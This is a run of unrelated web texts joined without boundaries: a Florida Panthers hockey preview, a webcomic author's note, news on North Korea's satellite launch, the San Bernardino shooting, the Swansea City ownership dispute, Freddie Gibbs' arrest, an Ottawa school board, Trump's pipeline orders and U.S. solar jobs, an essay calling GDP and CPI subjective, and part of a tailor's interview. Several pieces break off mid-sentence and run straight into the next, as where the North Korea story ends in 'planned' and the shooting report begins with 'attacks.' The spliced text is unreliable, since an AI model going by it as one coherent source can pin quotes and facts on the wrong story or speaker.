The big departure was veteran Stephen Weiss leaving as a free agent for the Detroit Red Wings after 11 seasons in Florida. Also allowed to seek jobs elsewhere were goalie Jose Theodore and forward Peter Mueller. To fill the gap among the top six forwards the team used the second pick of the 2013 NHL Draft on Finnish center Aleksander Barkov, with the hope that the big, skilled forward can become a full-time lineup fixture starting this season. Veteran Scott Gomez was signed to a one-year deal and Brad Boyes, who had a resurgent season in 2012-13 with the New York Islanders, will have a chance to earn a contract as a training-camp invitee.
Why they could get in: Panthers general manager Dale Tallon opted to keep his team mostly intact this summer, believing that the storm of injuries that decimated the roster was the biggest reason his club sunk in the standings. Tallon also is ready to turn over his roster to a number of on-the-rise young players, starting with top prospect Jacob Markstrom, who is ready to take the reins as the No. 1 goaltender. Adding Barkov to a top-six forward group that likely will include Calder Trophy winner Jonathan Huberdeau and talented 2010 first-round pick Nick Bjugstad sets the foundation for a rapid rise up the standings.
---Oh, also, there is a semi intentional continuity error in the comic, If you can spot it before anyone else, then you win 200 points! (Assuming its the one I am actually thinking of)
Ok, so, a few things. Firstly, I know its fairly obvious, but I shall still say it. Robopony love, is not a real fanfic (As far as I know) and it was never posted on EqD. Also, if there is anyone by the name of cryobronocus, I am sorry.Now, with that out of the way, Yeah, this took a lot longer than I was hoping, Mainly because I had to draw humans, which I really can't do, as you can see.Oh well, no idea where the idea for this came from, but err..... somewhere...Background credit goes to panel 3 panels 7 & 8 (seriously, go to his page, its full of awesome)Congrats to a winner is you.I really can't draw humans.It was too hot today.SEOUL (Reuters) - North Korea said on Tuesday any attempt by the U.N. Security Council to punish it for trying to put a satellite in space would mean the collapse of international disarmament talks aimed at ending its nuclear program.
Satellite image from DigitalGlobe collected on June 29, 2006 shows No Dong, North Korea, the area where a Taepodong missile facility is located. REUTERS/DigitalGlobe
North Korea has said it would launch a satellite between April 4-8. Regional powers see the launch as a disguised test of its longest-range missile and a violation of U.N. sanctions forbidding the reclusive state from firing ballistic missiles.
“It is perversity to say satellite launch technology cannot be distinguished from a long-range missile technology and so must be dealt with by the U.N. Security Council, which is like saying a kitchen knife is no different from a bayonet,” state media quoted a North Korean Foreign Ministry spokesman as saying.
The unidentified spokesman said “such an act of hostility” would be in defiance of the September 19 joint statement, a disarmament-for-aid deal the impoverished North reached with China, Japan, Russia, South Korea and the United States.
“If the September 19 joint statement is nullified, there will be neither the foundation nor the meaning for the existence of the six-party talks,” the spokesman said.
In Washington, U.S. State Department spokesman Robert Wood called the North Korean comments unhelpful and urged Pyongyang to resume disarmament negotiations.
“This type of... rhetoric just doesn’t promote the cause of peace on the Korean Peninsula. It raises tensions. We want to see them come back to the table,” Wood told reporters.
U.S. Army Gen. Walter Sharp, commander of U.S. forces in Korea, described the launch threat as part of North Korean leader Kim Jong-il’s effort to perpetuate his own rule.
“Kim Jong-il, I think, is still in complete control of his military and his policy,” Sharp said in testimony before the House of Representatives Armed Services Committee.
“What he is doing right now in (these) provocations is... seeing to what point he can push the rest of the world to get concessions to be able to continue the regime,” he said.
North Korea has given international agencies notice of the rocket’s planned |
attacks.
“It is becoming rather apparent that these folks had something else in mind than simply shooting up a bunch of innocent people,” Bueermann said
When asked if the shooting appeared to be terrorism, Bueermann said the label mostly came down to a difference of definition. Federal authorities have strict standards for what constitutes terrorism, but the average civilian does not.
“For the people who lost loved ones in this incident, and for the people who were present when this was going on in that room, there is no doubt in their mind that it was a terrorist act,” Bueermann said.
Burguan, the San Bernardino police chief, wouldn’t say if he thought the suspects were planning a larger attack, but he said they certainly had enough firepower to do so.
“Clearly they were equipped, and they could’ve continued to do another attack,” Burguan. “We intercepted them before that happened.”
Investigators, acting on a tip, went to a home in Redlands and spotted an SUV leaving the property. They gave chase, stopped the SUV at Mountain View and Richardson in San Bernardino where a gun battle ensued. The two suspects were killed in that confrontation.
The San Bernardino County Sheriff’s Department tweeted that an officer was “struck” by gunfire in the confrontation with the suspects and suffered “non-life threatening injuries.”
A third person was spotted running from the scene and was detained by authorities, however they don't believe that person was involved in the mass shootings, according to Burguan.
"We are reasonably confident at this point that we had two shooters and we have two dead suspects," he said.
The neighborhood where the two suspects were killed is believed to be safe, Burguan said, adding that authorities were still investigating the Redlands home. Authorities began processing the scene after using a robot to search the residence off Redlands Boulevard, not far from the intersection of North Center Street and Buena Vista.
Burguan also said that law enforcement personnel were investigating a "device believed to be an explosive" that was found earlier Wednesday inside the regional center, near the site of the mass shooting. Officials later disposed of that device, according to the San Bernardino County Sheriff's Department.
Shortly after 11 a.m., possibly two shooters, armed with long guns believed to be "assault-style weapons" burst into a conference center adjacent to the Inland Regional Center offices, 1365 S. Waterman Ave. and began firing, officials said.
The center is a social services and medical facility that serves people with developmental disabilities, according to its Facebook page. It has 670 employees and 30,200 clients.
"I think that based upon what we have seen and how they were equipped there had to be some kind of planning in this," Burguan said.
Keith Nelson, vice president of the Inland Regional Center Board, confirmed that the conference room was rented out for a meeting involving San Bernardino County employees.
Burguan described the meeting as a "holiday party."
"[Farook] did leave the party early under circumstances that were described as angry or something of that nature." Burguan said.
The Inland Regional Center serves as a hub for disability services for Riverside and San Bernardino counties and provides support to Desert Arc, a nonprofit in Palm Desert that works with people with disabilities.
The two offices are closely connected, said Josiah Gonzalez, Desert Arc social media and marketing assistant.
“There’s certainly people from the valley who have to use that office,” Gonzalez said. “It depends on what service you need specifically, sometimes there’d be classes or materials you need to pick up that you would go to the Regional Center for.”
Lanani Severns was sitting on a rock outside an office building near the regional center offices at the time of the shootings. She said she was making a phone call when she heard 15-20 shots ring out from a nearby golf course.
Looking down, she said she saw a chair and an ice chest, which lead her to believe the shots were fired by a hunter.
Severns said she was frozen with fear and couldn’t move for several minutes until she saw police begin to arrive. “Then I realized they couldn’t be a hunter because it (was such) rapid fire.”
“I didn’t know what to do,” she said, still visibly shaking.
Alan Ayers said he was making his way to a nearby LA Fitness gym when he said he heard shots. He estimated he was about 400 yards from where the shots originated.
“It all happens so fast and gets you so fast. I’m just praying for the victims,” he said.
Matt Burkert, 51, of Yucaipa was parked outside the regional center while waiting for his wife, who works at a nearby San Bernardino County Child Protective Services office, which had been placed on lockdown following the shootings. He said the scene was like “chaos.”
Shootings happen on a regular basis across the country, Burkert added, but no one expected one to happen in San Bernardino.
“This is a time when you want the Second Amendment to go away. Guns belong in the hands of professionals,” he said. “These shooters with AK-47s, unlimited rounds and body armor — that has got to stop.”
Olivia Navarro, who waited outside the police perimeter, said her daughter, Jamile, an employee at the Inland Regional Center, was in the building when the gunmen entered. Jamile ran into a room, cut the lights and locked the door. Then she called her mother on her cell phone, speaking in hushed tones.
“She told me what was happening – and what might happen,” Navarro said, weeping.
Eventually, somehow, Jamile escaped the building, and was evacuated by authorities. Navarro said she had gotten word her daughter was safe, but she was still baffled by the attack on the center.
“They have people there who help children,” Navarro said. “Why would anyone want to hurt people that help children? I don’t understand.”
At about 1 p.m., Loma Linda Medical University Hospital in Loma Linda reported it received four adult patients and was expecting at least three more.
Arrowhead Regional Medical Center in Colton was treating six patients, a spokeswoman said. No other information was provided.
At 2:40 p.m., a bomb threat was called in at Loma Linda, according to a hospital news release. Students were evacuated and law enforcement screened the campus. Hospital officials said Thursday morning that were no plans to relocate the shooting victims.
Arrowhead Regional Medical Center reported Wednesday afternoon one patient had been discharged and another five were still being treated.
A third hospital, Riverside County Regional Medical Center in Moreno Valley, took in two victims and sent at least one into surgery, spokeswoman Kim Trone said.
Several roads were shut down in the area and remained closed Wednesday evening.
The San Bernardino County Sheriff’s Department reported that an area near Park Center is “very active” and people should avoid the scene.
Soon after the shootings, triage units were set up near the regional center, and some people were seen being wheeled away on gurneys. Others walked quickly as they were led away by authorities.
At a Shell gas station about a block from the shooting site, store manager Ana Fuentes said there was a flood of police activity in the area.
“There’s maybe like 150 cops going toward Hospitality Lane,” she said, as sirens echoed in the background.
Scanner traffic indicates local authorities are being notified about the shooting suspect. But officials with the Riverside County Sheriff’s Department and Palm Springs Police Department say they have not been called in to assist at the scene.
The Desert Sun has several reporters and photographers providing updates at the scene.
The Associated Press contributed to this report.
Read or Share this story: http://desert.sn/1Qf9MbPAmerican owners Stephen Kaplan, (back left) and Jason Levien (back right) with chairman Huw Jenkins (front right) have seen Swansea struggle this season
Swansea City Supporters' Trust has called for the removal of chairman Huw Jenkins as part of the ongoing dispute over the sale of the club in 2016.
The Trust, which has a 21.1% stake in the club, maintains it was excluded from preliminary negotiations.
Jenkins said on Friday "for people to... say they didn't know about the sale annoys me because it's wrong".
The Trust was alerted in March 2016 to a possible deal, but co-owner Jason Levien has said talks started in 2015.
A consortium headed by Levien and fellow American Steve Kaplan bought a controlling stake of 68% in Swansea City in July 2016.
Levien has previously said the stakeholders who sold their shares, such as Jenkins, initially indicated there was no shareholders' agreement in place.
The Trust issued its statement on Sunday, saying it had "no choice but to correct a number of incorrect statements made by Mr Jenkins".
The statement concluded: "The Supporters' Trust today joins those calling for Huw Jenkins' removal as chairman of Swansea City Football Club."
BBC Sport Wales has asked Swansea City if Jenkins has any response to the Trust's calls to step down.
While the two parties remain at odds over the timeline of the sale of the club, Jenkins did concede in his previous interview that: "If they [the Trust] say they didn't have [enough] time, or that the four months wasn't enough, or we didn't have clarity about how we wanted to go forward, I agree, but there's a difference."
Media playback is not supported on this device Watford 1-2 Swansea: Players better than they are showing - Carvalhal
The club has struggled in the Premier League since the takeover, narrowly avoiding relegation last season and this season again finding itself in the drop zone at Christmas.
The summer sale of their two best players from the previous campaign - Gylfi Sigurdsson and Fernando Llorente - and the failure to replace them adequately has weakened Swansea's squad, although money from those sales will be made available in January.
Saturday's 2-1 win at Watford - the first game under new boss Carlos Carvalhal, who last week became Swansea's fifth permanent manager in two years - was just their fourth of the season and lifted them off the bottom of the table.
The struggles on the pitch have mirrored the unrest off it at the Welsh club, with the interested parties remaining deeply divided.
In October 2016 the Trust said it was considering taking legal action over the deal.
That did not materialise - although there is an ongoing court case brought by former directors Steve Penny and Don Keefe for unfair dismissal following the takeover, a charge Jenkins has denied.
The Trust has also seen two chairman - Will Morris and Phil Sumbler - resign in quick succession in November, with Sumbler joining a new group, the Swansea City Supporters' Alliance.
The Alliance has also previously called for Jenkins to step down.On June 2, Freddie Gibbs was arrested as the suspect in a rape case. A warrant for his arrest was issued in Austria, minutes before he was set to take the stage for a performance at the Rex in Toulouse, France. Today, before a ruling on his extradition on June 23, a French court ordered Gibbs’ release on a bail of €50,000 ($56,000), according to his lawyer, AFP reports (via the Daily Mail). After a court appearance last week, Gibbs’ lawyer, Michael Malka, said Gibbs “categorically denies the allegations made against him by Austria and is even very surprised that Austria is taking this on a year later, just as he is on tour in Europe.” Gibbs cancelled his performance at Primavera Sound in Barcelona due to the arrest.
Gibbs' legal team shared the following comment:
“I am pleased to announce that the French attorneys, Ludovic Riviere and Michael Malka, were able to convince the Judge in Toulouse to release Freddie Gibbs on bail pending a final decision on the extradition request by the Austrian authorities. He will be released upon the deposit of $50,000 Euros. He will be required to turn in his passport and check in with authorities 3 times per week. We expect him to be released either today or tomorrow while the court decides what to do with the extradition request. Additionally, last weekend, I had the chance to fly to France and meet with Freddie and the attorneys from both France and Austria. After the meeting, and talking to Freddie it is really shocking these allegations were ever filed against him. They were brought months later with no scientific nor physical evidence against him. We are hoping that the Public Prosecutor in Austria sees this and decides not to file formal charges against him. If she does, Freddie will fight them with everything he has.
He has worked too hard on his career and family to get where he is and is in complete shock over this false allegation.
It is important to note that his fiancé has flown to France to support him. She has his back and knows he didn’t do anything wrong.”OTTAWA — A downtown elementary school is on-track for some major upheaval, as Ottawa-Carleton District School Board trustees try to find a way to deal with overcrowding.
A motion to be made tonight would move almost all English students from Elgin Street P.S. to Centennial P.S., beginning this September.
“At this week’s Committee of the Whole meeting, I will be moving a motion to move the English program to Centennial,” wrote Somerset-Kitchissippi Trustee Erica Braunovan in a Facebook post.
Braunovan’s motion would all English students, except those in Grade 6, to Centennial Public School effective this September.
An earlier plan to move only kindergarten students from Elgin Street to Centennial was scuttled after a parent argued that it would have violated provincial law, which requires all schools to offer full-day kindergarten.
Braunovan says there’s no way to know how long it would take to determine whether the board could get an exemption to the all-day kindergarten rules from the province.
“A decision cannot be postponed any longer…as overcrowding must be addressed before September,” Braunovan stressed.
Braunovan’s motion will be discussed as school board trustees meet, tonight.WASHINGTON – President Donald Trump is preparing to issue executive orders clearing the way for the controversial Dakota Access and Keystone XL oil pipelines to move forward, according to people who have been briefed by Trump advisers.
The orders would have an immediate impact in North Dakota, where the pipeline company Energy Transfer Partners wants to complete the final 1,100-foot piece of the 1,172-mile pipeline route that runs under Lake Oahe. The Standing Rock Sioux tribe and other Native American groups have been protesting the project, which they say would imperil their water supplies and disturb sacred burial and archaeological sites. The Army Corp of Engineers called a halt to the project in December to consider alternative routes. The sources spoke on the condition of anonymity so they could discuss details that have not been made public.
An executive order from Trump on the Keystone XL pipeline would reverse a major decision by President Barack Obama, who said that the project would contribute to climate change because it would carry tar sands crude which is especially greenhouse gas intensive because of the energy it takes to extract the thick crude.
TransCanada, the Calgary-based project owner, has said it would be interested in reviving the pipeline.
Speaking to reporters Monday, White House press secretary Sean Spicer said the president supported energy projects “like Dakota and the Keystone Pipeline, areas that we can increase jobs, increase economic growth, and tap into America’s energy supply more, that’s something that he has been very clear about.”
Referring to comments Trump has made during the campaign and after the election, “He was talking about that being a big priority. That’s one of those ones where I think that the energy sector and our natural resources are an area where I think the president is very, very keen on making sure that we maximize our use of natural resources to America’s benefit.”
“It’s good for economic growth, it’s good for jobs, and it’s good for American energy,” Spicer added.
As news of the move surfaced Tuesday morning, oil industry officials hailed it as overdue.
“Making American energy great again starts with infrastructure projects like these that move resources safely and efficiently,” said Stephen Brown, vice president of federal government affairs at Tesoro Companies.
Environmentalists, by contrast, vowed to continue to fight the two pipelines.
Greenpeace Executive Director Annie Leonard noted in a statement that a broad coalition of opponents-“Indigenous communities, ranchers, farmers, and climate activists” -managed to block the projects in the past and would not give up now.
“We all saw the incredible strength and courage of the water protectors at Standing Rock, and the people around the world who stood with them in solidarity,” she said. “We’ll stand with them again if Trump tries to bring the Dakota Access Pipeline, or any other fossil fuel infrastructure project, back to life.”
“We will resist this with all of our power and we will continue to build the future the world wants to see,” she added.
Featured Image: Twitter
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commentsU.S. solar employs more workers than any other energy industry, including coal, oil and natural gas combined, according to the U.S. Department of Energy's second annual U.S. Energy and Employment Report.
6.4 million Americans now work in the traditional energy and the energy efficiency sector, which added more than 300,000 net new jobs in 2016, or 14 percent of the nation's job growth.
"This report verifies the dynamic role that our energy technologies and infrastructure play in a 21st century economy," said DOE Senior Advisor on Industrial and Economic Policy David Foster. "Whether producing natural gas or solar power at increasingly lower prices or reducing our consumption of energy through smart grids and fuel efficient vehicles, energy innovation is proving itself as the important driver of economic growth in America, producing 14 percent of the new jobs in 2016."
The solar industry is particularly shining bright.
"Proportionally, solar employment accounts for the largest share of workers in the Electric Power Generation sector," the report, released on Jan. 13, states. "This is largely due to the construction related to the significant buildout of new solar generation capacity." Overall, the U.S. solar workforce increased 25 percent in 2016.
According to the report, solar—both photovoltaic and concentrated—employed almost 374,000 workers in 2016, or 43 percent of the Electric Power Generation workforce. This is followed by fossil fuels, which accounts for 22 percent of total Electric Power Generation employment, or 187,117 workers across coal, oil and natural gas generation technologies.
Wind generation is seeing growth in employment with a 32 percent increase since 2015. The wind industry provides the third largest share of Electric Power Generation employment with 102,000 workers at wind firms across the nation.
Electric power generation employment by technology. U.S. Department of Energy
The reason behind this growth in the solar sector is due to the high capacity additions in both distributed and utility-scale photovoltaic solar, the report said. In fact, construction and installation projects represented the largest share of solar jobs, with almost four in ten workers doing this kind of work, followed by workers in solar wholesale trade, manufacturing and professional services.
In a sign of promise for the booming industry, solar employers reported that they expect to increase employment by 7 percent this year.
Solar is becoming the cheapest form of electricity production in the world, according to statistics from Bloomberg New Energy Finance. Last year was the first time that the renewable energy technology out-performed fossil fuels on a large scale.Many critiques of both Real Gross Domestic Product and The Consumer Price Index have been written. The Bureau of Labor Statisics has responded in defense of the critiques. Having evaluated the critiques and responses, I will argue for the following points:
Numbers such as GDP or CPI should be treated as subjective judgements, produced by political actors subject to biases and pressure. They are not as objective facts about the world. Regard the GDP number as having the same truth-value as an opinion survey of government economists. GDP numbers are the beginning of an argument. If GDP numbers conflict with someone’s subjective judgement, one must consider whether the GDP numbers are fudged or leave out some important aspect of quality of life. Debates over the “real” value of GDP or CPI are silly, because quality of life judgements cannot be reduced to a number. For all the practical purposes for which GDP is used, better numbers exist or could be devised.
Composition Problems
The Bureau of Economic Analysis calculates Nominal GDP by totaling the dollar expenditures of every person and organization in the United States. Note that the Nominal GDP number is a measure of the supply and velocity of money – it has nothing to do with the production of goods.
The government adjusts changes in Nominal GDP (the total expenditures/income of the nation) by the change in a price index to create a number known as Real GDP. This is the number that supposedly measures economic growth.
The first problem with Real GDP is the composition of the price index. This problem alone is big enough to invalidate use of GDP as a metric. To create a price index, the statisticians create a basket of goods, then track changes in the prices of those goods. This basket changes over time as consumers buy different products over time.
The trouble is that the basket excludes a) all goods that are produced but not traded and b) all goods that the economy can no longer produce at all, for whatever reason.
There is a famous example from Paul Samuelson who noted that if a man married his maid, then, all else being equal, GDP would fall. Or if a nanny has a child and quits her nanny job to take care of that child, GDP falls, despite the total amount of child care being produced remaining the exact same.
The most glaring absence from the “goods basket” is leisure time. And in fact any non-economic good is excluded: working on the house, taking care of children, doing private research, writing a book to distribute for free over the Internet. Nor is the quality of goods measured. Every time I walk down the main street of my city, I lament how every new building is so ugly and drab, compared to the gorgeous ornamental work of the buildings 100 years ago. GDP does not tell us how much we have lost in our ability to create beautiful buildings.
Futurists in the 1800s used to imagine that as society grew richer, people would work short weeks and dedicate most of their time to leisure, learning and the arts. In such a scenario, GDP would actually be stagnant or declining, as GDP statistics would not measure increased leisure. In policy circles, officials think that greater GDP is always good. But we have no idea if that is actually the case – we might be better off under scenarios where GDP is falling.
The astute reader may object, “But GDP is not trying to be a measure of well being, it is supposed to be a measure of output, to be weighed in policy decisions against other factors.” But this retort is incorrect. GDP does try to measure of well being because there is entire system of “hedonics” and quality adjustments built into the price index. These hedonic measure try to measure how much the good has improved well being.
GDP does not measure actual output of real goods. It just measures money flows and changes in a price index. If the entire industrial base atrophies, manufacturing disappears, and a country survives off of exporting its currency like 16th century Spain, the GDP and CPI statistics will not reveal the problem until it is far too late to fix.
Finally, economists and policy wonks do in fact unthinkingly focus on raising GDP without considering whether it ought to be raised. Just pick up a random academic economics paper or read a Federal Reserve report to Congress. These documents mostly discuss what factors or policies will raise Real GDP. They never discuss the scenarios in which raising GDP is actually desirable. The policy papers rarely concern the trade-offs with other factors such as leisure time, commute time, community, environment, etc. These cannot be measured, and thus get excluded from policy considerations.
Exports and Imports
The price index used by GDP excludes all imported goods. This has some logic to it. The U.S. GDP number is supposed to measure the output of the U.S. If the U.S. imports all its wool, and the price of wool rises due to a sheep epidemic in Australia, then the rising cost of wool does not represent a decline in American output.
But the logic of excluding import prices collapses upon further inspection. Imagine a nation has a thriving export industry making airplanes. The U.S. manufactures and exports the planes to Saudi Arabia, Saudi Arabia ships back oil. Now let us say that due to bad management the quality of American airplanes declines. Saudi Arabia switches to buying European made Airbus planes, and the American companies go out of business. What will happen? Nominal national income (NGDP) in dollars of the U.S. will be the same (remember, nominal national Income is simply a measure of the supply of dollars and people’s desire for cash balances, it has nothing to do with goods produced). The price of oil will rise significantly. The U.S. has fewer desired export goods to exchange for oil and thus the dollar must weaken against Saudi’s currency. The price of other goods will rise a bit due to increased oil costs, but not as much. Thus if you exclude oil from the price index, you would miss out on a huge huge drop in the production of quality export goods. And in fact, this has happened over the last decade as GDP continues to climb despite the relative lagging of the U.S. manufacturing base.
So we have good reasons for excluding imports from the price index, and good reasons for including imports. Which is correct? The economist at the Bureau of Economic Analysis tries to patch it up the best they can, and kludge a number together.
The reasonable person must admit: “We do not know.” We cannot reduce a nations output to a single number. Any attempt to do so will simply combine dozens of different assumptions that will react or cancel each other out in weird ways, giving you a resulting number that is completely useless.
And we are still not done yet.
Substitutions
If the price of steak rises, consumers will shift their consumption to another good, perhaps ground beef, chicken or tofu. This will in turn change the weightings used by the CPI and GDP, so that the more expensive good, now being consumed less, will get weighted less. The CPI allows limited substitution, while the GDP is a full substitution index. These different assumptions can have dramatic differences in the resulting numbers.
The various indexes attempt to correct for these substitutions, but these corrections are impossible. Any attempt to do so is just making up numbers. If, for instance, steak consumption declines as steak prices rises, it is impossible to determine why steak consumption declined and what people switched to. Maybe steak consumption declined because it was found that red meat caused heart disease, and thus peoples quality of life has improved as they are healthier. Perhaps chicken or tofu is a perfectly adequate substiute and people are just as well off as before. Or perhaps consumers stopped eating steak because they could no longer afford steak, and quality of life has in fact declined. No numbers can tell us the answer. The GDP Deflator and CPI make a different choice in how to handle these changes, but neither choice is better than the other.
During a general economic decline, society will gradually lose the ability to produce the goods it once used. For instance, modern buildings lack the gorgeous decorative art of older buildings. Such masonry and art is too expensive to produce, since we sent all our young workers into college to learn how to be businessmen and lawyers instead of being artisans. This decline has made us poorer. But this will not show up in the numbers, since the price of ornamental masonry work will not show up in the GDP deflator calculations.
Infrastructure
The GDP calculation measures the dollar value spent on infrastructure, but does not measure the amount actually produced. If the government pours money down the drain into wasteful and corruption-ridden projects, this will show up in the figures as net production.
The GDP numbers do not include depreciation. So if existing infrastructure is crumbling faster than it gets replaced, GDP might show the country as actually growing while in reality things are falling apart.
If the entire city of Detroit gets destroyed in riots, fires, crime waves, and ethnic cleansing, and is left in ruins, this catastrophe not show up in GDP numbers. In fact, GDP might actually increase since the destruction would spur the creation of new housing (which does show up in the numbers) and the average home price might actually fall (reducing the GDP deflator) due to violence making the neighborhoods unlivable.
Quality and Hedonic Adjustments
Both the Consumer Price Index and GDP deflator rely on adjustments for quality. On the surface, there is some plausibility to these adjustments. Cars have risen in price since 1970, but they have also improved greatly in quality. We now have air bags, crunch zones, better mileage, greater durability, etc. If you just look at price, you may think that purchasing power has dropped when in fact it has risen.
But few of these improvements can be quantified. Try answering for yourself: How much better is a 2010 desktop computer than a 2002 computer? 4.3 times better? 1.7 times better? 20% worse? If you cannot answer this number numerically, for yourself, how can anyone answer it, especially for the entire country?
The 2010 computer has three times the processing power, so is it three times better? But most people will never use this processing power, so for them the quality is the same. Those who hate the latest Windows and swear by Windows XP might argue that the quality has actually declined. The answer is entirely subjective.
The BEA uses several methods for adjusting price indexes based on quality. All of these methods have a surface plausibility, but upon a deeper examination they are completely invalid.
Method one is overlap pricing. For a brief period of the year, an appliance company might sell both the 2009 microwave model and the 2010 model at the same time. The price difference between the models can be used as the hedonic adjustment. This method is complete absurd. New products often sell for more even if they are not really any better. New game consoles sell for huge premiums upon release, but quickly fall in price. A new release movie costs more to see than a movie in a second run theater, that does not mean the new movie is better, it is just novel. With overlap pricing, it is impossible to determine how much of the increased prive is due to the novelty premium and how much is due to real quality improvements. Overlap pricing strategies actually measure the how the producer is extracting profits by charging more to people who show-off their status by buying the latest thing. There is no predictable relationship to overall increase in quality.
Method two is the explicit quality adjustment method in which the government tracks the amount spent on improvements. For instance, if a car company spent $100 per model adding a new support beam for safety, that would be counted as $100 worth of quality improvements. Again, this is invalid. Just because a company spent $x dollars on improvement does not mean it actually increased quality that much. This number also has the potential to exclude various items the car company might subtract from the car. The new oven might have a slick digital interface, but perhaps some of the internal parts have been replaced by plastic. Nor it is easy to distinguish improvements that are marketing gimmicks from actual long term quality improvements. The CPI excludes money spent on cosmetic changes like new paint colors and reshaped bumpers. But take the example of the Lexus that can parallel park itself. Is that a valuable long term quality improvement, or really just a gimmick that allows its rich owner to show off?
Method three is to measure some component of the product - such as processing speed or gas milage – and detect how much it improves. Again, this is often invalid because it is not possible to relate something like processing speed to an overall quality value for the product. Doubling the processing speed of the computer has no hedonic impact on my mother’s ability to send email to her friends.
These problems are not merely academic. Quality adjustments have a dramatic impact on the numbers.
From 1996 to 2010, the average sale price of an American car rose from $16,901 to $23,182 (37%). The Ford Taurus rose in price from $18,545 in 1996 to 25,018 in 2010. The cheapest Ford rose in price from $11,430 (the escort) to $13320 (the Fiesta). The cheapest Honda rose in price from $9,980 (the Civic) to $14,900 (the Fit).
Depending on the measure we use then, the prices of cars rose by 22% to 49%.
Yet from the CPI index for automobiles from January 1996 to April 2010 actually fell’ by 1.5%. In other words, the government decided that the 2011 cars are around 35% better in quality than the 1996 cars.
Compare the 1996 Ford Escort specs to the 2011 Ford Fiesta Specs. The new model has similar gas mileage, no greater trunk space, no more seats. The new model does have more horsepower, but that’s not going to get you to your destination any faster. There of course various improvements – side airbags, antilock breaks, power locks, better crunch zones. But do those advances make the 2011 car 17% better? Or on the other hand – not dying is a really, really valuable thing, so maybe the 2011 is much more than 17% better.
What is amazing though, is that if you restricted your price index to using the straight-up price numbers, and use gas milage, car space, and speed to calculate hedonic changes, then that price index would show that there has been no economic growth in the automobile sector. Growth is wiped out. The assumptions used by the BLS thus create the economic growth. Change the assumptions and you get very different growth numbers. When you hear on the news, “the economy grew by 2% annualized last quarter” remember that behind those numbers are a group of government statisticians subjectively deciding that cars got 2% better.
In other areas, the price index calculations may dramatically understate improvements in purchasing power.
A few years back, Google scanned nearly every out-of-copyright book available in the great libraries of the country. A treasure trove of millions of books is now available at my fingertips. As a student of history, this is immensely valuable to me. But such a benefit cannot be quantified, and is not included in the GDP or the CPI.
My ability to enjoy the mass media from any time period is amazing – I have near unlimited quantities of reading material music, and videos to watch all for a tiny fraction of my income.
Should the CPI include this? No. There is no way to quantify the benefit of this media production.
The web site ShadowStats does their own calculation of CPI numbers excluding all hedonics, and using the pre-Boskin commission methodology. They estimate of CPI is nearly double the official number. Is this estimate more correct? No, the entire endeavor is senseless.
The point is not that GDP numbers are overstating growth or understating growth. The point is that GDP numbers have no objective meaning whatsoever. The GDP calculation is basically a very fancy and obfuscated way of doing a subjective survey or poll of the BEA statisticians. The numbers are very sensitive to the assumptions you make, and a wide range of plausible assumptions can be used, each producing a very different GDP number. The GDP flunks a sensitivity analysis and is therefore useless. If the number seems close to your intuitive sense of how fast the economy has grown, it is because the calculations were fitted to match your intuitive sense.
Adjusting the data
Every year the BEA makes adjustments and revisions to previous years GDP data. For instance, the growth numbers for Q3 2002 were revised downward in three successive revisions. The end result was changing the growth rate from 3.3% to 2.2%. In the 2009 comprehensive revision, the growth rate for 2008 was changed from 1.1% to.4%.
Economist Jeremy Nalewaik has pointed out that GDP tends to be adjusted in the direction of the GDI estimates (GDP and GDI should be identical, GDP is calculated by adding up expenditures while GDI is calculated by adding up incomes).
Again, the point is not that these adjustments are right or wrong. The point is that the results are extremely sensitive to the assumptions and adjustments made. The end result is that GDP numbers will simply replicate what the people doing the adjustments think it should look like.
Composition problems with the Consumer Price Index
The CPI excludes the price of housing. Instead they use owner-equivalent rent. The claim is that since money paid for a home is actually income for another person, it is not necessary to include the home price in the index. But this claim applies to the price of every good. Money you pay for oil goes to the shareholders of the oil company. Money you pay for services is someone else’s income. The net result of excluding housing was creating a much lower inflation estimate for the past decade.
We all know that from 2006 to 2010 the housing market crashed. Across the nation housing prices dropped dramatically. The Case-Shiller index reported that home prices fell by 31.5%. Yet the CPI index for housing costs (based on equivalent rent) actually ‘‘rose’’ by 7.7%. Again, by using a different methodology, the CPI produces a wildly different number.
The issue becomes even more complicated when you include foreign investment. Imagine China is implementing a mercantilist policy. An American spends cash to buy goods exported from China. The Chinese recycle the money earned from exporting goods to America into buying mortgage backed securities. The American takes out a big mortgage to buy a house, mortgage bought by the Chinese. The American is effectively borrowing from the Chinese in order to fund current consumption. The net result is that America is a net seller of home equity and in return has recieved goods. The price of homes will be pushed up. In the GDP statistics this will actually show up as economic growth (since the cheap Chinese goods will push down the GDP deflator). But in reality, there has been no growth, the U.S. is simply selling off its own wealth and getting poorer.
“Give me four parameters, and I can fit an elephant. Give me five, and I can wiggle its trunk”
To recap, we have identified a half-dozen different ways in which subjective and arbitrary model changes dramatically alter the GDP number, and even change its direction. Yet still we have this intuitive sense that the GDP numbers look correct.
I do not know exactly what goes on in the minds of those at the BEA. But I assume it is no different than what goes on with a college social science major trying to write a thesis, or a marketing department trying to figure out product ROI numbers for marketing reports. That is, they keep adjusting until the numbers look plausible.
As we noted, there are huge range of adjustments that go into making the GDP. Everything from excluding oil imports, to including paid child care but not household child care, to the various hedonic adjustments are all subjective fudges. The art of model construction is that you keep tweaking these adjustments until you get something that “feels right”. While this sounds nefarious, and it is |
gratifying.
I’m helping these gentlemen with confidence.
I lot of them are in high positions and they have to feel confident in what they are doing, and one way you feel confident is your looks. If you look the part, your feel great and you’re outwardly showing it, and your job is a reflection of how you feel. And I’m thankful to help with that.
Who do you look up to?
AL: I don’t want to sound like I’m being braggadocios or naive, but I’m… I’m only paying attention to myself. I’m only looking at…
Am I better than I was yesterday?
I’m always looking at how I can change what I’m doing to make it better. I’m always looking at how can I make a lapel better. I’ve got to be a crazy mad-man because you can’t do much to a lapel, but you just try and find your voice, your style, your thing that you can hold on to as a staple of the brand. Like the roped shoulders.
Do I know who Tom Ford is? Of course. But do I constantly pay attention to him? No because I don’t have enough time for me to grow if I’m paying attention to what somebody else is doing.
This is what I love about what I do: It’s a garment that any race can wear; any nationality. You don’t have to break down barriers. That’s the cool thing about this. You have a service that’s universal. I don’t want to be know as a guy who make suits for black guys, or white guys, or Asian guys. I want to be know simply as a guy who makes bespoke suits.
It’s weird because I didn’t get into this planning on being worldwide, but people know who I am in Italy, and I had a guy from Spain asking how to get my suits. It forces you to want to be great, if you choose to be. But some people don’t choose to be. Some people want to be comfortable, but not me. I’m not comfortable at all. Until I can wake up one day and I can have the gratification of being a household name, I can’t rest. I have so much work to do because I got a late start – I’m 37.
How do you keep yourself uncomfortable?
